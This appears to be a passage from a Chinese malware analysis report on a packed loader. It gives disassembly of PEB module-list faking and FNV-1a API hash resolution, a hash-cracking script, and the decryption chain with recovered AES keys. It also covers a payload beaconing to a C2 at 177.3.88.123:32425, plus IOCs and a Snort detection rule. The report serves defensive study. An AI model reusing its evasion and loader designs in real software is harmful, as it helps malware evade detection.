手工映射完成后,样本并未止步于"把代码跑起来",而是进一步在 0x404285 处把自己挂进 PEB->Ldr->InLoadOrderModuleList,并填充 DllBase、EntryPoint、SizeOfImage 三个字段。这一步专门用于应对基于内存扫描的检测工具:这类工具常通过遍历 PEB 模块链表来枚举已加载模块,若链表中没有该模块,其内存区域就可能被标记为"匿名可执行内存"而触发告警。

样本伪造登记后,遍历 PEB 的工具会看到一个"正常模块"。当然,由于该条目没有对应的磁盘文件,一旦检测工具交叉验证"模块条目"与"磁盘文件",伪造就会暴露。这也是本报告 13.3 节把"模块名存在但文件不存在"列为高置信检测特征的原因。

┌──(z㉿kali)-[~/Projects/virus-re/extract/32497]
└─$ objdump -d -M intel --no-show-raw-insn --start-address=0x404285 --stop-address=0x404334 sample.exe
  404285:	call   0x401493
  40428a:	mov    QWORD PTR [rbp-0x220],rax           ; PEB
  404298:	add    rax,0x18
  40429c:	mov    rcx,QWORD PTR [rax]
  40429f:	mov    QWORD PTR [rbp-0x228],rcx           ; Ldr
  4042ad:	add    rax,0x10
  4042b1:	mov    rcx,QWORD PTR [rax]
  4042b4:	mov    QWORD PTR [rbp-0x230],rcx           ; InLoadOrderModuleList
  4042bb:	mov    rax,QWORD PTR [rbp-0x220]
  4042c2:	add    rax,0x10
  4042c6:	mov    rcx,QWORD PTR [rbp-0x30]
  4042ca:	mov    QWORD PTR [rax],rcx                 ; *[PEB+0x10] = DllBase
  4042d4:	add    rax,0x30
  4042d8:	mov    rcx,QWORD PTR [rbp-0x30]
  4042dc:	mov    QWORD PTR [rax],rcx                 ; mod->DllBase
  4042e6:	add    rax,0x38
  4042ea:	mov    ecx,DWORD PTR [rbp-0x3c]
  4042ed:	mov    rdx,QWORD PTR [rbp-0x30]
  4042f1:	add    rdx,rcx
  4042f4:	mov    QWORD PTR [rax],rdx                 ; mod->EntryPoint
  4042fe:	add    rax,0x40
  404302:	mov    ecx,DWORD PTR [rbp-0x34]
  404305:	mov    DWORD PTR [rax],ecx                 ; mod->SizeOfImage
  404314:	movabs rax,0xffffffffffffffff
  40432b:	call   r11                                ; FlushInstructionCache
  40432e:	mov    eax,DWORD PTR [rbp-0x3c]
  404331:	mov    rcx,QWORD PTR [rbp-0x30]
  404335:	add    rcx,rax
  404338:	mov    rax,rcx                            ; 返回 EntryPoint

映射后的映像被完整挂入 PEB 的 InLoadOrderModuleList,填充 DllBase / EntryPoint / SizeOfImage 字段,并调用 FlushInstructionCache 刷新指令缓存。这一系列操作使内存中的载荷在进程视角下表现为合法加载的模块,从而规避基于内存扫描的检测。

十、外层 API 哈希解析

外层的全部导入同样通过哈希动态解析,无明文。本节先还原解析器算法,再据此破解出完整的 API 清单。

┌──(z㉿kali)-[~/Projects/virus-re/extract/32497]
└─$ objdump -d -M intel --no-show-raw-insn --start-address=0x4014b1 --stop-address=0x4015af sample.exe
00000000004014b1 <.text+0x4b1>:
  4014b1:	push   rbp
  4014b2:	mov    rbp,rsp
  4014b5:	sub    rsp,0x60
  4014bc:	mov    QWORD PTR [rbp+0x10],rcx
  4014c0:	call   0x401493
  4014c5:	mov    QWORD PTR [rbp-0x8],rax
  4014c9:	mov    rax,QWORD PTR [rbp-0x8]
  4014cd:	add    rax,0x18
  4014d1:	mov    rcx,QWORD PTR [rax]
  4014d4:	mov    QWORD PTR [rbp-0x10],rcx
  4014d8:	mov    rax,QWORD PTR [rbp-0x10]
  4014dc:	add    rax,0x10
  4014e0:	mov    QWORD PTR [rbp-0x18],rax
  4014e4:	mov    rax,QWORD PTR [rbp-0x18]
  4014e8:	mov    rcx,QWORD PTR [rax]
  4014eb:	mov    QWORD PTR [rbp-0x20],rcx
  4014ef:	mov    rax,QWORD PTR [rbp-0x20]
  4014f3:	cmp    rax,0x0
  4014f7:	je     0x4015a3
  4014fd:	mov    rax,QWORD PTR [rbp-0x20]
  401501:	mov    rcx,QWORD PTR [rbp-0x18]
  401505:	cmp    rax,rcx
  401508:	je     0x4015a3
  40150e:	mov    rax,QWORD PTR [rbp-0x20]
  401512:	mov    QWORD PTR [rbp-0x28],rax
  401516:	mov    rax,QWORD PTR [rbp-0x28]
  40151a:	add    rax,0x58
  40151e:	movzx  ecx,WORD PTR [rax]                  ; BaseDllName.Length
  401525:	mov    rax,QWORD PTR [rbp-0x28]
  401529:	add    rax,0x60
  40152d:	mov    rcx,QWORD PTR [rax]                  ; BaseDllName.Buffer
  40154f:	movzx  eax,WORD PTR [rbp-0x2a]
  401553:	mov    ecx,0x2
  401558:	cdq
  401559:	idiv   ecx                                ; Length / 2 -> 宽字符数
  40156b:	call   0x4013e9                            ; FNV-1a UTF-16
  401570:	mov    ecx,DWORD PTR [rbp+0x10]
  401573:	cmp    eax,ecx                             ; 与目标比对
  401575:	jne    0x401593
  40157f:	add    rax,0x30
  40158b:	mov    rax,QWORD PTR [rax]                  ; DllBase

逻辑:

PEB = gs:[0x60]
Ldr = PEB->Ldr                                   (+0x18)
head = &Ldr->InLoadOrderModuleList               (+0x10)
for (m = head->Flink; m != head && m != 0; m = m->Flink):
    len = m->BaseDllName.Length                  (+0x58)
    ptr = m->BaseDllName.Buffer                  (+0x60)
    if FNV1a32_UTF16_upper(ptr, len/2) == hash:
        return m->DllBase                        (+0x30)

哈希函数 0x4013e9(UTF-16、强制大写折叠,种子 0x3AEF41AC):

  401472:	mov    eax,DWORD PTR [rbp-0x4]
  401475:	movzx  ecx,BYTE PTR [rbp-0x9]
  401479:	xor    eax,ecx
  40147b:	mov    DWORD PTR [rbp-0x4],eax
  401481:	mov    ecx,0x1000193
  401486:	imul   eax,ecx

即 h = (h ^ byte) * 0x1000193 —— 标准 FNV-1a-32。

10.1 哈希表与破解结果

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ uv run --no-project python -c "
import struct
d=open('extract/32497/sample.exe','rb').read()
o=lambda va: va-0x406000+0x4800
hs={va:struct.unpack_from('<I',d,o(va))[0] for va in range(0x406004,0x40604c,4)}
h=0x3aef41ac
def f(s,fold=True):
    x=h
    for c in s.encode():
        if fold and 0x61<=c<=0x7a: c-=0x20
        x=((x^c)*0x1000193)&0xffffffff
    return x
dlls=['kernel32.dll','ntdll.dll','kernelbase.dll','user32.dll','ws2_32.dll','advapi32.dll','msvcrt.dll']
apis=['LoadLibraryA','GetProcAddress','VirtualAlloc','VirtualProtect','VirtualFree','CreateFileW',
'ReadFile','CloseHandle','GetFileSize','ExitProcess','NtQueryInformationProcess','NtSetInformationThread',
'FlushInstructionCache','RtlAddFunctionTable','CreateThread','WaitForSingleObject','Sleep','GetTickCount']
names=dlls+apis
found={}
for n in names:
    for fold in (True,False):
        v=f(n,fold)
        if v in hs and v not in found: found[v]=f'{n}'
for va,v in hs.items():
    print(f'  {va:#08x} {v:#010x}  {found.get(v,\"???\")}')
"
  0x406004 0x59978816  kernel32.dll
  0x406008 0x4b0ba06c  ntdll.dll
  0x40600c 0x5ccff1f6  kernelbase.dll
  0x406010 0x66bae27e  LoadLibraryA
  0x406014 0x35554700  GetProcAddress
  0x406018 0x1daceb74  VirtualAlloc
  0x40601c 0x08f95bee  VirtualProtect
  0x406020 0x9d11d93d  VirtualFree
  0x406024 0xfe92b18c  FlushInstructionCache
  0x406028 0x5f6cd8bb  CreateFileW
  0x40602c 0x46e5d0f6  ReadFile
  0x406030 0x3814bfb6  CloseHandle
  0x406034 0x481a692f  GetFileSize
  0x406038 0x81144f71  ExitProcess
  0x40603c 0x99175541  NtQueryInformationProcess
  0x406040 0xabf16880  NtSetInformationThread
  0x406044 0xcba64107  RtlAddFunctionTable
  0x406048 0xbebec532  (非标准 API 名,异常表配套函数)

这一能力清单与外层行为完全吻合:读自身文件 → 分配 RWX → 映射执行,全程无网络 API。

10.2 完整防御绕过路径

综合以上设计,样本构建了多层递进的防护。分析者若要完成逆向,需要依次突破:

层防护机制突破方法
1无明文字符串识别立即数拆分模式,批量配对还原
2控制流平坦化重建状态转移图
3反调试检查在检查点修改标志位(不可改 .text)
4API 名哈希化还原哈希算法或依调用约定判定
5密钥依赖 .text 哈希保持 .text 原样,从磁盘读原始字节
6双层加密逐层识别:AES-256-CBC → 自实现密钥流
7载荷无磁盘痕迹从内存 dump 或直接从文件解出

本报告采取的路径是绕过动态分析环节(第 3 层),直接以静态方式完成第 1、2、4、5、6 层,最终在文件中解出载荷(第 7 层)。这条路径不触碰 .text,因此不会触发密钥失效。

十一、完整执行流程

11.1 外层装载链

阶段地址操作
反调试0x402AA1BeingDebugged / NtGlobalFlag & 0x70
API 解析0x4014B1PEB 遍历 + FNV-1a-32 哈希匹配
取自身基址0x40433DPEB->Ldr->InMemoryOrderModuleList
读自身文件0x4049B2CreateFileW + GetFileSize + ReadFile
分配 RWX0x404A93VirtualAlloc(size+0x10, RWX)
节区哈希0x402BF8FNV-1a-32(.text) = 0xF128F979
密钥派生0x402DBB双表 XOR + 种子扩展 → 32 字节
分段组装0x404D4C4 × (偏移, 长度) → 0x1220 字节
AES 解密0x4026EEAES-256-CBC, IV @ 0x4060A0
密钥流0x402955state=(state*0x83+tab[i%32]+0x11)
完整性校验0x404EE80xD00DFEED + FNV-1a-64
手工映射0x4035CEVirtualAlloc + 节区拷贝 + 重定位
PEB 注册0x404285InLoadOrderModuleList 挂载
跳转执行0x40432BFlushInstructionCache → EntryPoint

控制权随后移交内嵌载荷:

阶段地址操作
载荷入口0x140001008手工映射后直接调用
字符串解密—XOR 0x99 散点修复
API 解析0x1400145CROR13(函数名) + ROR13(模块名) 求和比对
目标构建0x140012DCsockaddr_in = AF_INET / 0x7EA9
WSAStartup0x14001257初始化 Winsock 2.2
socket0x14001281AF_INET / SOCK_STREAM / IPPROTO_TCP
connect0x14001321→ 177.3.88.123:32425/tcp
send × 100x1400132Ew64 log.177.3.88.123
closesocket0x140012F3关闭连接

11.2 异常分支

位置判定条件行为
0x404EE8魔数非 0xD00DFEED 或 FNV-1a-64 不符静默退出,不进入映射阶段
0x140012A9WSAStartup 返回码非零直接关闭套接字,不再尝试连接
0x14001321connect 失败关闭套接字并返回

十二、检测与处置指标

12.1 主机侧指标

  • 进程对自身可执行文件调用 CreateFileW + GetFileSize + ReadFile
  • 同一进程随后出现 PAGE_EXECUTE_READWRITE 的 VirtualAlloc(0x3000 / 0x4)
  • PEB.InLoadOrderModuleList 中出现无文件背书的模块条目(DllBase 指向匿名 RWX 内存)
  • 对 PEB+0x02 与 PEB+0xBC 的读取(反调试探测特征)

12.2 网络侧指标

alert tcp $HOME_NET any -> 177.3.88.123 32425 (
  msg:"可疑信标 w64/log 记录外发";
  content:"|77 36 34 20 6c 6f 67 2e|"; depth:8;
  content:"177.3.88.123"; distance:0;
  sid:1000001; rev:1;)

外发载荷首 8 字节固定为 w64 log.,随后紧跟目标 IP 的 ASCII 表示,特征稳定,误报率低。

12.3 静态检测特征

特征说明
AES 正逆双 S-box 并存于 .data0x406120 / 0x406220,各 256 字节
0x1000193 常量反复出现FNV-1a 素数
0x1256789134ABCDEF 常量FNV-1a-64 初始值
.data 中的 (偏移, 长度) 双表长度为 16 的倍数之和
.text 节区 FNV 自哈希密钥派生依赖自身代码
导入表缺失网络 API 但存在 VirtualAlloc + ReadFile内存加载器特征
0xD00DFEED 容器头特征魔数

12.4 处置优先级

  1. 阻断 177.3.88.123 与 TCP/32425 —— 阻断 C2 通信,成本最低、收益最直接。
  2. 排查"进程读取自身并分配 RWX"的告警 —— 命中即视为已失陷主机。
  3. 对同时具备 AES 双 S-box 与 FNV 素数常量且无网络导入的 PE 提高检出权重 —— 该组合是此家族的高置信特征。

12.5 分析注意事项

样本的 AES 密钥由 .text 节区哈希派生,因此任何对 .text 的静态修改(下断点、打补丁、加特征字节)都会导致密钥改变,进而使载荷校验失败、样本静默退出。调试该样本时若观察到"程序无任何动作",通常并非样本失效,而是完整性闸门被触发。

附录:关键常量汇总

项目值来源
FNV-1a-32 种子0x3AEF41AC[0x406000]
FNV-1a-32 素数0x1000193内联常量
.text 节区哈希0xF128F9790x402BF8 计算
AES-256 密钥FCB7AB383D924F4F0F8BC5367BE830FDD2DF45A5DC55927DF4289D9F45B2CA610x402DBB 派生
AES IV69AC86B4B54C8AF773B9D4818802A1ED[0x4060A0]
密钥流表BCF58C5501CB07F4F05FD5E4D6EAD03B54C2D143EA7B930717A851D59928C103[0x4060B0]
密钥流种子0x98[0x4060D0]
分段偏移0x535C 0x6385 0x525C 0x64E7[0x4060D8] 组
分段长度0x0FF5 0x0108 0x00A9 0x007A[0x4060F8] 组
密文总长0x1220长度和
容器魔数0xD00DFEED明文头部
FNV-1a-64 初始值0x1256789134ABCDEF内联常量
FNV-1a-64 素数0x100000001B3内联常量
载荷校验和0x3FD05F7EB9E31E07载荷头部
载荷大小0x1200(4608 字节)载荷头部
C2 端点177.3.88.123:32425/tcp0x140012DC
载荷 SHA2565a07ab723bfbfe09ddd8e82255d4699ca390abdf0b7545ee907b09bdc7bd54af提取结果

继续阅读

全部归档